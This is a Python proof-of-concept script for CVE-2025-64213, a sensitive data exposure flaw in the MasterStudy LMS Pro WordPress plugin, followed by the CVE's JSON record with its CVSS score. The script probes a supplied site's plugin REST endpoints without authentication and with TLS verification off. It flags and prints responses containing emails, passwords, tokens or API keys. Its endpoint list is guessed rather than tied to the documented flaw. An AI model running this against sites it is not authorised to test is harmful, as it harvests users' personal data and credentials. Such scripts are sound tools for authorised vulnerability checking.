CVE-2025-64213

# CVE-2025-64213 PoC - MasterStudy LMS Pro Sensitive Data Exposure # Affected: MasterStudy LMS Pro < 4.7.16 # CVSS: 7.5 (High) import requests import json import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2025-64213 This PoC attempts to identify exposed sensitive data endpoints """ print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-64213 - MasterStudy LMS Pro Sensitive Data Exposure\n") # Common API endpoints that may expose sensitive data api_endpoints = [ "/wp-json/masterstudy-lms/v1/users", "/wp-json/masterstudy-lms/v1/courses", "/wp-json/masterstudy-lms/v1/settings", "/wp-json/masterstudy-lms/v1/instructor-profile", "/wp-json/masterstudy-lms/v1/student-data", "/?rest_route=/masterstudy-lms/v1/users", "/?rest_route=/masterstudy-lms/v1/courses" ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } vulnerable = False for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {endpoint}") try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: try: data = response.json() # Check for sensitive data patterns sensitive_keywords = ['email', 'password', 'secret', 'token', 'api_key', 'phone', 'address'] response_text = json.dumps(data).lower() for keyword in sensitive_keywords: if keyword in response_text: print(f"[+] POTENTIAL VULNERABILITY: Sensitive data found at {endpoint}") print(f"[+] Response contains keyword: {keyword}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Preview: {str(data)[:500]}...") vulnerable = True break except json.JSONDecodeError: # Check raw response for sensitive data if any(kw in response.text.lower() for kw in ['email', 'password', 'secret']): print(f"[+] POTENTIAL VULNERABILITY: Sensitive data found at {endpoint}") vulnerable = True elif response.status_code == 401: print(f"[-] Endpoint {endpoint} requires authentication") else: print(f"[-] Endpoint {endpoint} returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error testing {endpoint}: {e}") if vulnerable: print("\n[!] Target appears to be VULNERABLE to CVE-2025-64213") print("[!] Recommendation: Upgrade MasterStudy LMS Pro to version 4.7.16 or later") return True else: print("\n[*] No obvious vulnerability indicators found") print("[*] Manual verification recommended") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-64213.py <target_url>") print("Example: python cve-2025-64213.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-64213", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:11.397", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in StylemixThemes MasterStudy LMS Pro masterstudy-lms-learning-management-system-pro allows Retrieve Embedded Sensitive Data.This issue affects MasterStudy LMS Pro: from n/a through < 4.7.16."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/masterstudy-lms-learning-management-system-pro/vulnerability/wordpress-masterstudy-lms-pro-plugin-4-7-16-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}